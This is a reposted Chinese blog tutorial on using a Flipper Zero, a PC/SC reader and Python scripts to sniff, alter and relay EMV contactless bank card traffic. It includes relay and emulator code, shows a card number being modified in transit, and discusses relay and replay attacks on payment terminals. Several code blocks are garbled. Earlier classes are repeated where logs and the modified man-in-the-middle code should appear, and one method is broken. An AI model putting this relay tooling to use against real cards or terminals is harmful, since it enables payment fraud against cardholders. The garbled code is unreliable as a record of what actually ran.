首页 >后端开发 >Python教程 >Flipper Zero NFC 黑客攻击 - EMV 银行、中间人和中继攻击

Flipper Zero NFC 黑客攻击 - EMV 银行、中间人和中继攻击

Linda Hamilton
Linda Hamilton原创
2024-12-23 06:32:48156浏览

在上一篇文章中,我们探讨了 Flipper 如何充当 NFC 非接触式读卡器和 NFC 卡模拟器。当我们将这两个功能结合起来时,读卡器交易的一系列潜在攻击场景就会显现出来:

  • 是否可以嗅探通信?,意思是拦截和监视两个设备之间交换的数据而不改变它
  • 可以执行中间人(MitM)攻击吗?具体来说,我们可以拦截并改变卡与读卡器之间的通信,实时注入或修改数据吗?
  • 我的卡容易受到中继攻击吗? ​​一名攻击者位于卡附近,与其通信并将命令/响应转发给读卡器附近的同谋,从而诱骗读卡器处理交易,就好像该卡已存在。即使卡根本没有靠近终端,这也可以实现未经授权的交易。

在这篇文章中,我们将详细解答这三个问题。

1-我们想要实现什么?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

上图(此处提供更高质量)说明了我们旨在为测试前面描述的各种攻击而建立的设置。

  1. 有一个一部手机,其中包含一个旨在从银行卡读取数据的应用程序。
  2. 手机与Flipper Zero通信,后者在卡模拟模式下运行。
  3. Flipper Zero 连接到 PC,后者将接收到的命令转发到与其连接的 PC/SC 阅读器
  4. PC/SC读卡器将命令发送到真实银行卡
  5. 真实的卡处理命令并做出响应,响应以相同的方式返回:通过 PC/SC 读卡器、PC,最后到达手机。
  6. 同时,我们在 PC 上运行的 Python 脚本 会拦截这些命令和响应,从而可以在数据通过时对其进行实时修改。

之前,我们将所有数据处理逻辑卸载到在 Flipper 外部运行的 Python 脚本。这种方法消除了每当我们想要进行更改时更新或上传新固件的需要。然而,出现了一个问题:这个 Python 代理会引入延迟,从而破坏通信并导致通信失败吗?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

在回答这个问题之前,让我们看一下将用于设置此配置的 Python 脚本。

2 - Python脚本准备

在上一篇博文中,我们介绍了此设置的两个主要组成部分:

  • 使用 Flipper Zero 模拟卡片。
  • 使用 PC/SC 读卡器与卡通信。

现在,只需将两者连接在一起即可。我们到底在说什么?

  • 当 Flipper 检测到字段时,读卡器必须为卡通电。
  • 反之,当Flipper检测到磁场已关闭时,读卡器必须切断卡的电源。
  • Flipper 负责管理 TPDU 通信。这是因为 PC/SC 阅读器仅处理 TPDU 级别的命令:
    • Flipper 收到完整的 APDU 后,会将其发送给阅读器。
    • 读卡器将命令转发到实际的卡,然后将卡的响应转发回 Flipper。
    • Flipper 处理此响应并以 TPDU 格式传输它。

这些对阅读器的要求导致了抽象 Reader 类的创建,如下所述。此外,我们还引入了一种与读者建立连接的方法。

class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass

接下来,我们在下面创建一个极简的 PCSCReader 类来与 PC/SC 阅读器交互。

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp

现在,我们可以继续实现卡模拟器,简称Emu,如下所示。它接受一个可选的 Reader 对象作为参数。如果提供,它会与读者建立连接。

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()

接下来,我们定义三种方法来向阅读器传达事件:关闭字段、打开字段以及发送 APDU。

# class Emu(Iso14443ASession):
    def field_off(self):
        print("field off")
        if self.reader:
            self.reader.field_off()

    def field_on(self):
        print("field on")
        if self.reader:
            self.reader.field_on()

    def process_apdu(self, apdu):
        if self.reader:
            return self.reader.process_apdu(apdu)
        else:
            self.process_function(apdu)

接下来,我们改进了负责在 TPDU 级别管理卡模拟器命令通信的方法。值得注意的是,当收到完整的 APDU 命令时,将调用 process_apdu 方法将其转发给读卡器并从实际卡中检索响应。

# class Emu(Iso14443ASession):
    def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]:
        print("r block")
        if tpdu == "BA00BED9":
            rtpdu, crc = "BA00", True

        elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]:
            if len(self.iblock_resp_lst):
                rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True
            else:
                rtpdu = self.build_rblock(ack=True).hex()
                crc = True

        return rtpdu, crc

    def low_level_dispatcher(self):
        capdu = bytes()
        ats_sent = False

        iblock_resp_lst = []

        while 1:
            r = fz.emu_get_cmd()
            rtpdu = None
            print(f"tpdu < {r}")
            if r == "off":
                self.field_off()
            elif r == "on":
                self.field_on()
                ats_sent = False
            else:
                tpdu = Tpdu(bytes.fromhex(r))

                if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False):
                    rtpdu, crc = "0A788082022063CBA3A0", True
                    ats_sent = True
                elif tpdu.r:
                    rtpdu, crc = self.rblock_process(tpdu)
                elif tpdu.s:
                    print("s block")
                    # Deselect
                    if len(tpdu._inf_field) == 0:
                        rtpdu, crc = "C2E0B4", False
                    # Otherwise, it is a WTX

                elif tpdu.i:
                    print("i block")
                    capdu += tpdu.inf

                    if tpdu.is_chaining() is False:
                        rapdu = self.process_function(capdu)
                        capdu = bytes()
                        self.iblock_resp_lst = self.chaining_iblock(data=rapdu)
                        rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True

                print(f">>> rtdpu {rtpdu}\n")
                fz.emu_send_resp(bytes.fromhex(rtpdu), crc)

最后,我们实现了用于从 Flipper Zero 启动卡模拟的方法。

# class Emu(Iso14443ASession):
    def run(self):
        self.drv.start_emulation()
        print("...go!")
        self.low_level_dispatcher()

Python 脚本已准备就绪;现在让我们看一下用于测试它们的硬件设置。

3 - 在我们的车库进行的实验

下面是我们对攻击环境的小型复制。从左到右,我们有:

  • 一部运行用于读取 NFC 银行卡的应用程序的 Android 手机。在我们的例子中,它是 NFC-EMV-Reader(可在 GitHub 上找到 - NFC-EMV-Reader)。虽然有点过时,但它非常适合演示目的。该设备模拟尝试与 NFC 卡通信的终端。它没有连接到任何其他设备。
  • Flipper Zero,充当 NFC 卡模拟器。它已连接到计算机(图像中不可见)。
  • PC/SC 读卡器,也连接到电脑。
  • 实际的 NFC 银行卡,代表此设置中所针对的真实卡。

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

完美,我们现在拥有执行攻击所需的所有组件!来战斗吧!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

4 - 通信嗅探

我们可以首先尝试嗅探,这意味着来自 Flipper 的 APDU 命令/响应将被转发到卡,而不进行任何修改。

这工作完美并且保持稳定,Python 代码充当中介,没有明显的影响!如果 Python 代理增加了太多延迟并且终端开始抱怨卡太慢,我们已经解决了这个问题。我还没有时间实施的东西:

  • 这是一个称为等待时间扩展 (WTX) 的 TPDU 命令。
  • 当卡需要额外时间来执行资源密集型操作(例如加密)时,它会发送此命令。
  • 读卡器将此解释为卡仍在处理的信号,终端以确认响应。
  • 理论上,卡可以发送任意数量的 WTX 命令。

以下是日志的摘录。

  • 卡已开机(场关闭/场开启)
  • 终端尝试使用 APDU SELECT 命令选择卡应用程序:00a4040007d276000085010100。这里,应用程序标识符(通常称为 AID)是 d2760000850101。在查看 EFTLab 综合 AID 数据库上的卡 AID 列表时,我们发现该 AID 对应于德国 NDEF 标签应用,在 NXP 芯片上实现。
  • 卡上不存在该应用程序,因此卡响应两字节状态字 6A82,表明它无法识别所请求的应用程序。
class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass

事实上,一张卡上可以安装数百个不同的应用程序,每个应用程序都有自己独特的 AID。终端不会尝试一一尝试它们。这就是为什么在非接触式银行领域中,所有卡上都有一个特定的应用程序,旨在指示卡上可用的银行应用程序。其 AID 为 325041592e5359532e4444463031,转换为 ASCII 为 2PAY.SYS.DDF01。

在稍后的通信中,我们可以看到这个应用程序被调用(如下图)。因此,如前所述,之前选择的 AID D2760000850101 的应用程序似乎不寻常。

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp

解析响应时,您可以看到它表明(以及其他详细信息)存在 AID A0000000041010 的应用程序,该应用程序对应于 MasterCard。

因此,手机最终选择了这个应用程序。

随后,它会从卡中检索各种详细信息,包括主帐号 (PAN)。卡上显示的数字与终端上显示的数字相符,确认我们依靠简单嗅探的中继攻击成功了!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

当然,像 Proxmark 这样的工具可以使嗅探变得更加简单,但是当你可以让它变得复杂时,为什么还要让它变得简单;) ?

5 - 中间人

现在,让我们继续进行中间人攻击。这意味着我们不仅会倾听沟通,还会积极改变它。一个有趣的用例可能是修改卡号,例如将 5132 更改为 6132。

回顾我们之前通信的日志,我们可以看到这些数据都是以明文形式传输的。使用 READ RECORD 命令(如 00B2010C00 和 00B2011400)从卡中检索它们。

由于数据未加密且缺乏完整性保护,我们可以根据需要对其进行修改。为了实现这一点,我们只需更新 PCSCReader 类中的 process_apdu 方法来处理更改。

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()

并且如下图所示,应用程序完全不知道修改!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

为什么它有效?答案如下图所示,描述了不同的通信层:

  • 在底层,底层技术 ISO-14443 处理物理层通信。 翻转零按照这个规范交换数据。
  • 然后,我们就有了 TPDU。数据在 TPDU 中交换,仅出于完整性考虑而受公共 CRC 保护。 最后,我们有 APDU 层,它由卡应用程序的命令和响应组成。存在三种可能的保护级别:
    1. 无保护:命令和响应既没有完整性也没有保密性保障。我们的设置就是这种情况,因此修改通信非常容易。
    2. 部分加密:命令或响应部分加密。这可以在一些 NFC 银行命令中看到,其中包含密码来验证通信的真实性。
    3. 完全加密:命令和响应都完全加密,提供完整的保护。然而,这并没有在 EMV 卡中实现。

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

我们也可以玩得开心……由于修改仓促,所以偶尔会随机更改数据。在一个实例中,如下图所示,这导致应用程序显示卡号的大量字符,即使它应该限制为 16 位数字!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

这为模糊实验开辟了一些有趣的可能性。

6 - 中继攻击

正如本文开头提到的,中继攻击包括拦截并中继两方(例如 NFC 卡和终端)之间的通信而不对其进行更改,欺骗终端相信它正在与合法的设备进行通信实时打卡。

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

黑客想要在终端上付款。他将终端的通信转发给受害者附近的同伙,然后同伙在他不知情的情况下与受害者的卡进行通信。

之前的实验证明这种攻击在受控环境中是可行的,比如车库。然而,在现实场景中,还需要考虑其他挑战。

  • 需要近距离:攻击者必须靠近卡。因此,在新冠疫情期间,在保持社交距离的情况下,显然超级方便
  • POS 处的同谋:终端附近需要第二个人。
  • 低延迟且可靠的通信:中继信号的延迟可能会导致失败,而可靠的通信对于成功至关重要。为了解决这些挑战,可以使用另一种类型的攻击:重放攻击。
    • 攻击者与受害者进行通信 卡就好像它们是合法终端一样,记录卡的响应。
    • 然后攻击者将记录的响应重播到终端。
    • 虽然在终端命令中使用随机数据可以防止重放攻击,但随机性有时并不像看上去那么强大。但是,探索此漏洞超出了本博客的范围。

针对中继攻击的主要对策之一是测量通信的时间,因为中继会引入明显的延迟。然而,较旧的 EMV 协议不包含促进此类时序检查的命令。

结论

我们已经到达这篇博文的结尾了。我希望您喜欢这些内容! Python 代码和修改后的 Flipper Zero 固件可以在我的 GitHub 上找到。

https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware

以上是Flipper Zero NFC 黑客攻击 - EMV 银行、中间人和中继攻击的详细内容。更多信息请关注PHP中文网其他相关文章!

声明:
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn